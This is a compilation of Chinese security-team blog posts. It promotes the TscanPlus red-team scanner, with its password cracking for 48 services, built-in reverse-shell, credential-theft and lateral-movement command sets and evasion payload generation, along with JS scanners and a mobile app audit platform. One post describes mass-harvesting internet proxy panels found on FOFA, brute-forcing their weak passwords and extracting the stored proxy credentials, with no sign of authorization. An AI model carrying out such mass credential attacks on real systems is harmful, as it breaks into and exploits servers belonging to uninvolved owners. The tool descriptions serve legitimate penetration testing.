同时新增PoC在线更新功能，并搭建一套多源nuclei-poc的监测平台，每周会针对最新的poc进行筛选和tag标注，并在无影中进行实时推送。

2025年12月3日，在CVE-2025-55182(React Server Components远程代码执行)被爆出的第二天，很多同行还在“辩论”是鸡肋还是核弹时，当天下午无影已推送CVE-2025-55182漏洞检测PoC，第三天该漏洞才被确认为核弹级漏洞。

2.3 新增国密网站识别功能

无影的web探测、目录枚举功能现已支持国密算法网站访问。当常规HTTPS请求失败且目标为HTTPS网站时，在启用国密模式后，将自动使用国密算法（SM2/SM3/SM4等）进行请求。该功能可智能识别并兼容采用国密SSL/TLS的网站，提升对国密加密网站的探测与扫描能力，确保在国密环境下正常访问目标站点。

2.4 新增Nessus扫描功能

全面集成Nessus专业漏洞扫描引擎，支持Basic、Discovery、Web App等8种扫描策略，可灵活配置代理与并发任务数。实时监控扫描进度与状态，自动统计Critical、High、Medium、Low、Info五级漏洞分布，并支持一键导出HTML格式报告。

内置智能超时控制与任务管理机制，所有扫描记录自动保存至本地数据库，支持随时查看历史扫描结果。提供停止扫描、删除任务、批量清理等便捷操作，助力高效完成安全评估工作。

2.5 新增DumpALL模块

集成源码泄漏检测与自动下载功能，支持 .git、.svn、.DS_Store、目录列表四种泄漏类型的智能识别。提供"仅检测"与"自动下载"两种工作模式，可灵活设置文件大小过滤阈值，避免下载超大文件。支持批量扫描与单目标手动触发。

内置智能目录管理机制，自动为重复扫描创建递增编号目录，防止数据覆盖。实时反馈扫描状态（检测中、下载中、已完成），支持代理配置，并统计下载文件数量。所有下载内容保存至本地输出目录，便于后续安全审计与源码分析。

2.6 密码破解优化多项检测

密码破解修复多个功能Bug：多个账户时进度异常、暂停功能无效、RDP协议闪退、全局超时、资源占用高等。

截止目前，无影已集成了48种服务和协议的密码破解功能。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。

2.7 新增水洞专用模块

专为渗透测试工程师设计的自动化（水洞）检测模块，旨在“让天下没有难测的系统，让天下没有难出的报告，让天下没有难过的红队”。

水洞专用模块参考WaterExp项目思路，内置15+种常见Web安全风险检测规则，涵盖HTTPS配置、Cookie安全、CSP/X-Frame-Options缺失、服务器信息泄露、jQuery版本漏洞、CSRF、不安全HTTP方法、TLS版本过低等。自动识别并关联开放端口与Web服务，评估整体安全态势。

每项检测自动生成完整证据链，包括HTTP请求/响应抓包、高亮关键信息、自动截图，并提供漏洞详情、测试过程、风险分析及修复建议。规则化漏洞定义，支持快速扩展。

2.8 新增多个查询接口

ICP查询模块新增镜芯API和ICP_Query模块接口，并支持网站、小程序、APP、快应用等多种类型资产的批量查询。

支持单域名、多域名、多公司名的查询模式，在查询时会有限查询本地数据库，并对本地数据和网络数据进行去重和整合。

支持暂停查询、导出数据、设置代理等多种选项，并会根据接口返回数据情况判断是否被封IP，防止资源浪费。

2.9 端口扫描支持UDP扫描、IPv6协议、防火墙检查等

无影在端口扫描时，针对常见UDP协议（如DNS、DHCP、SNMP等协议）进行定向检测，针对SNMP有UDP和TCP两种情况也进行了分别判断，更精准的发现更多资产和指纹。

当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。

另外，当探测某些服务器端口时，有时会发现所有端口都开放，这时可能是目前主机启用了防护措施。为了避免在这种目标上浪费太多时间，无影启用了防火墙检测功能。在开启后会检测防火墙是否开启，如防火墙开启则只扫描常见的50多个端口；关闭该项检测后，会根据配置的端口进行全量扫描。

2.10 web指纹检测性能优化及页面截图

目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。

2.11 导出数据支持更多格式

所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。

2.12 全面支持中英文切换

无影现已支持中英文界面切换。在设置界面可随时切换语言，界面、菜单、提示信息等将实时更新。支持中文（简体）和英文两种语言，满足不同用户需求，提升国际化使用体验。语言设置保存后，重启应用即可生效，方便国内外用户使用。

3、其他已有功能

【特色功能】

1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。

2、在指纹探测结果中，对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc，并可外接Nuclei、Afrog、Xray等Poc工具，可实现指纹和Poc的联动，根据指纹识别的结果自动关联Poc，并可直接查看poc数据包相关信息。

3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。

4、内置48种常见服务的弱口令破解，可方便管理员对内网弱口令进行排查，为提高检测效率，优选并精简每个服务的用户名和密码字典。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。

5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型，其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。

6、目录枚举默认使用HEAD方式，可对并发、超时、过滤、字典等进行自定义，内置了DirSearch的字典，可导入自己的字典文件，也可用内置字典fuzz工具进行生成。

7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等，可根据shell类型、操作系统类型、监听类型自动生成代码。

8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。

9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。

10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。

TscanPlus 更多其他功能介绍可参考文章：《TscanPlus——一款红队自动化工具》

4、软件下载

Github下载：https://github.com/TideSec/Tscanplus/releases

1、功能介绍和常见问题：https://github.com/TideSec/TscanPlus?tab=readme-ov-file #FAQ

2、启动报错相关问题合集：https://github.com/TideSec/TscanPlus/issues/226

3、程序闪退相关说明：https://github.com/TideSec/TscanPlus/issues/383

4、反馈Bug领取Key说明：https://github.com/TideSec/TscanPlus/issues/241

【转发本文章到朋友圈，获赞30个以上，截图发到"Tide安全团队"公众号后台，可获取一个key，解锁所有PoC功能，本活动截止到12月13日18:00 】

往期推荐

Tide团队产品及服务

https://www.wjx.cn/vm/QF5ywws.aspx#

【扶摇(FUYIO)】一款JS漏洞检测与敏感信息挖掘工具

Tue, 18 Nov 2025 17:00:00 +0800

原创 swordlover 2025-11-18 17:00 山东

扶摇一款JS漏洞检测与敏感信息,能识别网站引用的JS库及其版本，并匹配 CVE漏洞数据库，输出风险详情及利用方式。

大鹏一日同风起，扶摇直上九万里。 -- -- 李白

🚨 免责声明：请勿用于非法用途，仅限授权测试！扶摇(FUYIO)：一款内网可用的JS漏洞检测与敏感信息挖掘工具

一、为什么想做这样一款工具

在之前的工作中，尤其是在一些特殊的网络环境下，经常遇到想要的浏览器插件不方便拷贝或者无法使用的情况，如FindSomething、wappalyzer、retire,js等，没有了这种半自动工具，但是又不想去手翻JS找漏洞和敏感信息泄露（因为究极懒），就打算搞这么一款工具。

二、核心功能介绍

1、指纹匹配及漏洞检测

扶摇能识别网站引用的JS库及其版本，并匹配 CVE漏洞数据库，输出风险详情及利用方式。 ✅ 支持检测的JS库：如jQuery、Vue.js、React、Angular、Bootstrap 等主流框架 ✅ 对比已知漏洞指纹：通过提取并匹配网页指纹，比对内置漏洞库，提示漏洞信息，提供辅助思路 📌 示例漏洞检测效果：

2、敏感信息深度挖掘

扶摇内置了扫描策略，可扫描HTML和JS文件中的敏感数据并导出成TXT，可以扫描到的敏感数据包括以下内容： 🔑 个人隐私信息（如身份证、电话号码、邮箱） 🔒 服务器敏感信息（IP、端口、域名、URL） 🛡️ 其他敏感配置（ak/sk、地图key、AES密钥） 📌 示例敏感信息扫描效果：

注：图示扫描文件由AI生成

3、Webpack打包检测

📦 Webpack打包检测识别Webpack打包的JS文件（如app.chunk.js），对chunk映射的js进行拼接、验证存活并搜集敏感信息。 📌 示例敏感信息扫描效果：

4、其他特性

🚀 请求头及代理自定义功能可以对cookie(指令-c),Authorization(指令-A)以及代理(指令--proxy)内容进行自定义。

⚡ 高性能爬取与解析支持 HTTPS证书绕过，适应内网环境，同时设置超时控制，避免卡死。 🛡️ 全过程无害化工具不会主动发送POC，只做信息提示辅助测试思路。

三、推荐使用场景

🔍 1. 企业安全团队

定期巡检Web应用，发现第三方JS库漏洞，排查员工误提交的敏感信息

🕵️ 2. 渗透测试

在授权测试中，快速定位JS漏洞攻击面，收集目标网站的敏感信息，辅助进一步渗透

👨‍💻 3. 开发者自检

检查项目依赖的JS库是否存在已知漏洞，避免硬编码敏感信息上线

0x04 获取方式及建议反馈

获取方式：

1、请关注Tide安全团队公众号，发送扶摇，获取下载链接。

2、请关注知识星球【剑影安全实验室】获取工具。bug以及建议反馈：使用过程发现bug或者有更好的建议，欢迎通过以下方式提交，提交时可以留下自己的昵称，将在下次更新时附上对您的致谢

【写在最后】目前工具已发现诸多问题，但由于小猫咪抢走了键盘，正在使用猫条贿赂中。。。🐱~

往期推荐

Tide团队产品及服务

潮启移动端安全管控平台升级啦

Fri, 14 Nov 2025 17:07:00 +0800

原创 Tide安全团队 2025-11-14 17:07 山东

TideInspire(潮启)是由新潮信息Tide安全团队自主研发推出的一款移动端安全管控平台，可对移动应用市场山东省内的APP进行安全检查和风险评估，提高APP的安全防护能力。

引言

各位小伙伴们，经过团队成员的改良和完善，潮启移动端安全管控平台--TideInspire(以下简称潮启)，又一次升级啦。平台已接入新潮网络安全服务中心公众号，绑定小程序后，平台的扫描结果通知会自动同步到小程序中，让小伙伴们使用起来更加的方便。

关于TideInspire

TideInspire(潮启)是由新潮信息Tide安全团队自主研发推出的一款移动端安全管控平台。主要实现移动应用APP备案管理、APP生存周期管理、移动应用基本信息检测、移动应用恶意行为检测、移动应用安全规范检测、移动应用渠道监测、钓鱼伪造APP安全监测、通报预警服务、威胁感知服务等，并能对移动应用APP进行源码安全漏洞检测、协议安全漏洞检测、数据安全检测等全方面自动化安全检测服务。

移动应用APP安全管控平台可对移动应用市场山东省内的APP进行安全检查和风险评估，提高APP的安全防护能力。并出具应用检测报告，可作为移动应用开发商提供专业的安全加固数据依据。

地址：http://app.tidesec.com/

主要功能

APP安全检测

自动化APP扫描

潮启移动端安全管控平台可根据配置支持Android、IOS平台APK和IPA文件进行扫描，还可设置定时扫描、扫描周期等相关功能，以满足用户多元化需求。

漏洞库管理 APP漏洞库管理模块，覆盖了代码、配置、组件和协议等漏洞，涉及APP安全漏洞数量超过1200个，同时提供了有效的漏洞修复解决方案，形成安全闭环。

专项漏洞检测

潮启移动端安全管控平台可对常见漏洞进行检测，如ZipperDown、应用克隆和超级拒绝服务等漏洞进行验证。在新漏洞爆发时，用户可利用该功能进行针对性检测。

敏感信息检测

移动端安全管控平台可采用全文检索、应用目录枚举、图片文件检查等手段对APP进行敏感信息检测，尤其是对涉黄涉毒涉赌涉枪爆刀涉黑灰产等违法APP，并对发现的敏感信息进行导出，从而协助用户对APP进行有效监管。

漏洞生命期管理

潮启移动端安全管控平台可记录漏洞的概念以及漏洞的整个生命周期，包括漏洞的产生、发现、公开、管理和消亡，并详细介绍漏洞在生命周期中每个阶段的成因、形式、发现方法和具体的应对措施。

APP备案管理

APP基本信息

移动端安全管控平台通过监测国内各大主流手机应用市场，进行全网规则匹配，对市场已上架的APP信息进行筛选存储。APP基本信息包括应用的名称、包名、运营单位、属地、分类、渠道、历史版本、更新时间、服务器、域名和概述等关键属性，可方便的对APP进行定位检索。

APP在线备案

移动端安全管控平台对APP的备案可分为自主备案和企业备案两种方式。个人或团体可对自己开发运营的APP进行在线备案，企业可对自有APP进行批量上传备案。APP上传后可自动关联企业工商信息获取企业地址、企业类别、企业联系人、联系方式等信息，并进行备案状态审核。

备案APP管理

在APP进行备案前，系统会对APP进行全方位的安全检测，在APP备案后会常态化对APP的更新进行监测和管理。系统监测任务通过轮询下发方式自动实现，对各类信息进行综合分析判断，进行机器学习智能化分析检测，发现已知的安全漏洞隐患，从而完成对APP进行安全预警、整改处理、安全漏洞扫描等。

APP安全监测

违法APP检测发现

通过APP应用组合特征搜索进行深度分析，利用大数据分析技术设置该类应用命中规则，比如对已知的违法APP进行深度挖掘分析提取污点元素特征，将该元素特征全网碰撞，及时发现涉黄涉赌涉毒、涉枪爆刀、涉黑灰产交易类非法APP。具体包括：一、提取APP应用包内url链接并采集站点内容，发现含有涉黄涉毒涉赌等违法情况并自动保存截图，固定证据。二、分析APP的违法行为，检测APP内是否含有木马，并针对存在黑灰违法行为的APP进行甄别，针对该类违法的APP进行自动保存截图固定证据。三、发现APP应用内存在的违法图片、内容链接和敏感字等，可自动保存截图和固定证据等。

伪造APP监测服务

对各大移动应用市场进行深度爬取，采用智能算法识别伪造或钓鱼APP，并从样本（hash）入手做分析，结合基础数据来溯源，通过动静结合方式实现实时监测并记录相关样本特征库，比对伪造APP的行为特征，对伪造APP的恶意行为特征进行采集，从而提高命中规则，判断伪造APP应用。对不常见的疑似伪造类APP进行评级划分，统一归类。

恶意行为监测服务

通过对APP进行反编译提取该APP配置文件中的权限列表，比对各类APP权限调用情况，在用户未授权的情况下获取涉及用户个人信息的行为，采用静态检测方式进行判断，实时监测存在调用系统等危险权限行为，对使用危险和敏感权限的APP进行全库监控。检测出的含有恶意行为的APP将会被标记，并显示该恶意行为，如读取该手机短信内容、通话录音等行为。

敏感词监测

移动端安全管控平台具备文本识别技术,敏感词库进行实时更新，可监控APP应用内存在的敏感字等信息，并可实现高效敏感词检测，也可进行自定义敏感词，进行智能甄别。还可根据部级中心下发的关键词、特征、黑链接等比对，发现涉黄涉毒涉赌涉枪爆刀涉黑灰产等违法APP，并可自动保存截图固定证据等。

僵死APP监测识别

通过定期对APP应用市场渠道的监测、扫描，并通过应用下载数量，活跃程度、应用版本变化等特征，识别疑似僵死的APP应用。通过存储的数据比对该应用每月的下载次数、应用评论活跃信息来统计APP的活跃程度，判断疑似的僵死APP应用。

报告及告警

安全报告 移动端安全管控平台通过对省内APP属地分布、行业分布、下载数量、运营单位、恶意应用行为、仿冒应用分布、安全漏洞分布、安全漏洞数量、APP应用版本变更、历史版本等维度每月输出安全分析报告。

监测预警

1、定期对APP进行检测，通过样本分析获取服务器相关信息，并通过服务器相应时间对服务质量进行判断；2、全面覆盖的安全大数据，可定期对APP进行安全检测发现漏洞及时预警，并可查询任意APP的历史安全数据。

专项报告

通过专项漏洞检测脚本和前期对APP应用识别结果、批量对该APP进行漏洞检测，针对漏洞进行专项分析，并生成报告。

其他

重点漏洞修复专题材料

针对重点高危漏洞、制作专题资料，报告漏洞起因、受影响版本，和加固检测方案等。

钓鱼APP关停协助

对检测中发现的钓鱼APP，保存相关资料，为协助网警执法提供帮助。

平台展示

主界面

上传APP主界面，可上传APK或者IPA文件。

数据统计

对辖区范围内APP风险检测数据进行汇总展示，对各漏洞数量占比进行图表展示。

APP查询

查询APP是否收录及基本信息展示。

检测详情

• 应用信息检测：应用名称、包名、文件大小、版本信息和文件MD5
• 应用签名信息检测：所有者、发布者、序列号、有效期开始日期、截止日期和证书指纹。
• 应用行为信息检测
• 应用权限信息检测
• 敏感词检测
• 敏感函数检测
• 敏感行为检测
• 动态加载DEX行为检测
• 第三方SDK检测

APP漏洞检测

依据相关行业标准，对测试项进行优化改进，分别适用于Android和IOS端检测。通过从安全防护能力检测、程序机密性规范检测、数据安全规范检测、代码安全规范检测、四大组件配置安全规范检测和通信传输风险检测六大方面对APP进行安全风险评估。

监测雷达

安全监测：对APP程序的安全漏洞、APP恶意行为、APP漏洞分布、APP地区分布以及扫描数量进行图表统计展示。渠道监测：实时监测国内多个应用市场，可及时发现钓鱼伪造APP、老旧版本APP等相关数据。

公众号通知

APP扫描结果通知将自动同步到公众号

报告展示

APP安全检测评估报告展示

往期推荐

Tide团队产品及服务

无影v3.0发布—上线Awvs等新功能

Wed, 24 Sep 2025 16:55:00 +0800

原创重剑无锋 2025-09-24 16:55 山东

无影(TscanPlus)v3.0发布，上线Awvs扫描、AI辅助分析、项目定时任务等功能，增强JsFinder、jwt编解码等功能，支持48项服务弱口令检测。

【主要功能】 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、UrlFinder、域名探测、网络空探、项目管理等。

TscanPlus 功能介绍可参考文章：《TscanPlus——一款红队自动化工具》

【转发本文章到朋友圈，获赞30个以上，本活动截止到9月27日。截图发到"Tide安全团队"公众号后台，可获取一个key，解锁所有POC功能】

1、关于无影

无影(TscanPlus)于2024年初上线v1.0版本，历时一年多时间终于上线v3.0版，Github上Star数量2.7k，也有了一定的用户群体，在此也非常感谢大家一直以来对无影的支持和帮助。

近期做了个问卷调查，发现有些功能虽然花了不少时间，但实际利用率并不高，数据也验证了安全工具"二八法则"——80%的日常需求由20%的核心功能满足。目前已经对功能模块顺序进行了重排和优化，后面也会根据问卷结果对软件进行裁剪优化。

问卷结果显示，端口探测、Web指纹和以显著优势占据功能使用率前两位，这样证明了无影在资产探测方面的优势，目录枚举、信息收集、密码破解、Poc检测、JsFinder、JwtCrack构成第二梯队，这些也是漏洞产出的主要模块，类似代理池、空间测绘、ICP查询等专项工具也有各自的用户群体。

2、近期新功能介绍

2.1 新增Awvs扫描功能

无影已经内置了poc检测、密码破解、目录枚举等功能，但常规web漏洞扫描方面一直举棋未定，最终还是自研和对接商用软件中选择了对接成熟的扫描工具——Awvs。

而Awvs作为一款成熟的商业漏洞扫描器，拥有强大的漏洞检测能力和爬虫功能，在网络安全行业中被广泛应用于企业安全评估、渗透测试前期信息收集以及Web应用例行安全检查等场景。

配置好Awvs和API key，连接测试通过后，即可进行站点扫描。

可查看漏洞和爬虫链接信息

支持其他功能的右键联动

目前Awvs接口测试主要是采用v25.1版本，对之前版本的兼容性可能一般，所以可能需要下载使用较新的Awvs。工具上也有docker镜像推荐：

另外提醒一下，Awvs对企业使用盗版软件的追究力度还是比较大的，所以大家不要使用盗版破解版本。

2.2 新增AI辅助分析功能

针对poc、js结果增加AI辅助分析功能，方便对发现的漏洞进行智能化分析

可添加大模型并配置 AI 选项，无影内置了两个免费的Key，经测试来看，免费的key也可以满足场景需求。

开启 AI 选项后，在检测 Poc 和 JS 时会自动调用 AI 进行分析。

右键可查看AI分析结果

2.3 项目管理功能增强

项目管理功能新增项目定时、项目中断恢复、信息搜集、指定协议破解等功能，方便网络安全运维人员进行定制化项目任务。

2.4 Jwt编解码及破解功能

增加jwt已知漏洞检测功能、支持多种密钥编码、与jwt.io完全兼容等多项功能。

2.5 密码破解增加多项检测

密码破解增加若干功能模块：

1、增加达梦数据库密码破解

2、增加ActiveMQ服务密码破解

3、增加RabbitMQ服务密码破解

4、增加服务密码破解

5、增加Kafka服务密码破解

6、增加Neo4j服务密码破解

7、增加Modbus、RMI、ADB未授权检测

8、支持mongodb高版本未授权检测

9、增加docker未授权检测

10、增加JDWP、RMI未授权检测

修复多个功能Bug：多个账户时进度异常、暂停功能无效、RDP协议闪退、全局超时、资源占用高等。

2.6 JsFinder功能增强

优化jsfinder功能并支持自定义规则、爬虫策略优化、结果展示优化、部分规则误报等。

2.7 启发式扫描增强

无影参考gogo的启发式扫描原理，在v2.8.0版本之后也加入了启发式扫描，针对大网段的检测更高效而精准。

2.8 端口扫描支持UDP扫描、IPv6协议、防火墙检查等

当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。

2.9 web指纹检测性能优化及页面截图

目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。

2.10 导出数据支持更多格式

所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。

3、其他已有功能

【特色功能】

1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。

3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。

8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。

9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。

10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。

TscanPlus 更多其他功能介绍可参考文章：《TscanPlus——一款红队自动化工具》https://mp.weixin.qq.com/s/vYB03ckGqeyDrOVVWFWkBA

4、软件下载

Github下载：https://github.com/TideSec/Tscanplus/releases

1、功能介绍和常见问题：https://github.com/TideSec/TscanPlus?tab=readme-ov-file #FAQ

2、启动报错相关问题合集：https://github.com/TideSec/TscanPlus/issues/226

3、程序闪退相关说明：https://github.com/TideSec/TscanPlus/issues/383

4、反馈Bug领取Key说明：https://github.com/TideSec/TscanPlus/issues/241

部分功能还在完善，目前暂不提供源码，这里打包了windows/mac版本的TscanPlus供下载。

本次编译的均为x64_AMD架构，有需要x86版本或ARM版的可到星球下载。

【转发本文章到朋友圈，获赞30个以上，本活动截止到9月27日。截图发到"Tide安全团队"公众号后台，可获取一个key，解锁所有POC功能】

往期推荐

Tide团队产品及服务

编写爬取某框架面板管理后台代理池的脚本

Fri, 18 Jul 2025 17:30:00 +0800

原创 Komorebi 2025-07-18 17:30 山东

关于爬取*ray面板管理后台代理池的脚本，支持系统状态监控支持多用户多协议，网页可视化操作

0x01 框架简介

对于*ray框架之前接触不多，先来熟悉一下相关资料。 *ray面板管理后台界面，常用于V2Ray/*ray代理服务的部署和管理。功能介绍：系统状态监控支持多用户多协议，网页可视化操作支持的协议：vmess、vless、trojan、shadowsocks、dokodemo-door、socks、http 支持配置更多传输配置流量统计，限制流量，限制到期时间可自定义 *ray 配置模板支持 https 访问面板（自备域名 + ssl 证书）支持一键SSL证书申请且自动续签

0x02 目的

*ray面板管理后台登录后的功能如下:

如果我们将图中“入站列表”中的代理协议（如 SOCKS）、地址、端口、用户名和密码等信息通过脚本爬取下来,那么后续可以根据爬取的结果，自动生成代理工具（如 Clash、Proxifier、Shadowsocks 客户端）的配置文件，批量部署代理连接；或者进行结合脚本批量对这些节点进行延迟测试、测速、存活探测等等。

0x03 口令爆破

在尝试编写脚本之前，需要想办法收集一波资产

这里我导出了5k条。接下来就需要爆破其中的弱口令了，在github上找了一圈觉得还是用我们团队大佬之前自己开发的web_pwd_common_crack比较好~

https://github.com/TideSec/web_pwd_common_crack

不过这脚本年代太久了，还是python2，先把它简单修改一下为支持python3吧。主要是把新版本不兼容的地方改进一下，比如基本语法更新（所有print语句添加括号，使用queue替代Queue，使用is_alive()替代isAlive()），还有字符串和编码处理，HTTP请求处理等等。另外还要做一下性能优化，毕竟我的云主机配置太低，万一跑着脚本卡死就浪费时间了. 添加延时，避免CPU占用过高:

改进内存的使用:

运行虽然有报警，但是可以正常跑，不强求。

最终5k条FOFA导出的数据共计跑出几十条弱口令。没办法，云主机性能有限而且资产量太大，只能把账号和密码字典设的少一些了。

0x04 编写爬虫脚本

1、实现思路

接下来是编写爬虫脚本。我们已经知道了面板管理后台中支持的用户协议类型有很多，比如vmess、vless、trojan、shadowsocks等，基本类似于如下截图

以vless协议为例，关键参数包括协议类型、地址、端口、uuid等等。

抓包可看到获取相关协议时为json数据，相关字段在响应字段中均能找到。

那么我们的大体思路可以为： 1、读取登录信息首先读取用户提供的txt文本文件，文件中包含面板URL和对应的用户名:密码。由脚本自动读取并解析面板登录信息。 2、自动登录与数据获取依次用每组URL和账号密码登录面板（通过POST请求/login），登录成功后再POST请求/xui/inbound/list接口，获取面板的入站配置JSON信息。 3、解析各种协议数据针对不同协议（如vless、vmess、shadowsocks、socks等），解析JSON数据中各自的关键字段，比如邮箱、端口、传输方式、path、用户名、密码、加密方式、UUID等。 4、数据整合与导出所有面板的数据最后统一导出为Excel（xls）文件，面板的服务器IP自动填充到每一条的对应数据，方便后续管理和区分。字段齐全，尽量做到格式美观。

2、实现代码

我们可以先POST请求/login接口，提交用户名和密码，登录成功后再POST请求/xui/inbound/list接口，获取入站配置的JSON数据。

关于主函数的调用流程，可以循环遍历每组URL和账号密码，调用login_and_fetch_data登录并获取数据；如果登录成功，调用process_inbound_data解析数据，并将结果存到列表。

当然重要的是解析各种类型的协议数据，比如我们可以首先解析入站配置数据

第一步要遍历入站配置数据（data.get('obj', [])），提取每个入站配置的协议类型、端口、传输方式、path等基础信息；然后调用get_email_from_settings、get_user_pass_from_settings、get_vmess_uuid等函数，根据协议类型提取相应的字段。其次就是要针对不同协议，分别提取用户名、密码和加密方式：

还有一些比较特殊的协议，比如提取vmess的UUID这种

大体上的实现思路与代码就这些，接下来让我们运行脚本查看效果。

最终导出的Excel文件如下

基本上看起来还算可以~

0x05 总结

整体上脚本通过“读取文件 → 登录面板 → 解析数据 → 整合导出”的流程，实现了批量自动抓取XUI面板数据并导出为Excel的功能，方便我们对其中数据的利用。后期如果扩展支持更多协议或字段，那么在解析部分增加对应的提取逻辑就行了。

往期推荐

Tide团队产品及服务

https://github.com/Snow-Mountain-Passengers/Rotor-Goddess

JS扫描与漏洞挖掘利器推荐—Rotor Goddess

Sat, 12 Jul 2025 12:01:00 +0800

雪山乘客 2025-07-12 12:01 北京

转子女神，一款用于快速打点JS文件及路径扫描的单兵工具！

工具介绍

在网络安全领域，信息收集与漏洞挖掘如同在黑暗中寻找潜藏的危险，传统工具常因速度迟缓、路径挖掘局限、分析过程繁琐，令安全从业者举步维艰。而一款名为 “转子女神” 的创新工具，正凭借其独特优势，为该领域带来新的曙光。

Github地址：

功能简介

智能路径勘探：通过精准的正则匹配，快速扫描并提取网页中的敏感路径和接口，自动拼接动态变量（如“/” + x + “/user/admin”），确保数据全面且准确。

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

JS深度分析：自动扫描JS文件，提取隐藏的API接口和参数，结合AI风险评估，挖掘潜在漏洞，如SQL注入、未授权访问等。

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

高效爬虫与响应分析：支持批量URL扫描，自动抓取响应状态、页面长度及ico hash值，并生成黑暗引擎查询语法，提升效率。

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

灵活配置与扩展：提供自定义拼接规则（--url）、证书绕过（--cer）、超时设置（--time）及请求头配置，适配复杂场景。
AI驱动的漏洞提示：通过AI对话机制，分析JS代码中的潜在风险，智能推荐漏洞测试方向，如ID fuzzing或鉴权问题。

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

日志与结果管理：自动记录扫描URL及参数，生成详细日志，方便后续分析与复查，输出结果直观清晰。

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

批量处理与自动化：支持批量URL文件扫描，结合AI自动化问话机制，减少手动操作，提升大规模测试效率。
用户友好体验：工具操作简单，扫描结果一目了然，几分钟即可完成复杂信息收集，适合挂后台运行，效率极高。

使用介绍

📦用法

绕过证书验证（--cer） 在URL后添加--cer参数，即可绕过SSL证书验证，适用于目标站点证书不信任的场景。示例：

roorgoddess --url https://example.com --cer

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

自定义URL拼接（--url） 对于需要特定拼接规则的站点（如/#/路径），使用--url参数自定义拼接逻辑，确保路径请求准确无误。示例：

roorgoddess --url https://example.com/#/

工具将根据指定规则拼接路径并返回正确响应。

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

设置请求超时（--time） 通过--time=x设置请求超时时间（单位：秒），避免因目标站点响应过慢导致扫描卡顿。示例：

roorgoddess --url https://example.com --time=5

AI赋能的JS扫描与漏洞挖掘神器|漏洞探测

批量URL扫描（url_batch） 支持批量扫描多个URL，只需将目标URL列表保存为.txt文件，每行一个URL，然后运行工具即可自动扫描，无需逐个手动输入。示例：

创建urls.txt，内容如下：

https://example1.com
https://example2.com

运行命令：

roorgoddess --url_batch urls.txt

自定义请求头（headers） 支持自定义HTTP请求头，修改User-Agent、Cookie等信息，适配复杂场景。格式保持标准，仅需更新对应字段数据。示例：

roorgoddess --url https://example.com --headers "User-Agent: Mozilla/5.0"

AI问话设置 工具支持自定义AI问话机制，用于优化JS代码分析和漏洞提示。用户可修改AI问话模板，但需注意避免破坏路径提取功能。若删除问话配置，工具会自动生成默认问话机制。示例：修改AI问话模板后，运行

roorgoddess --url https://example.com

以应用新设置。

小结

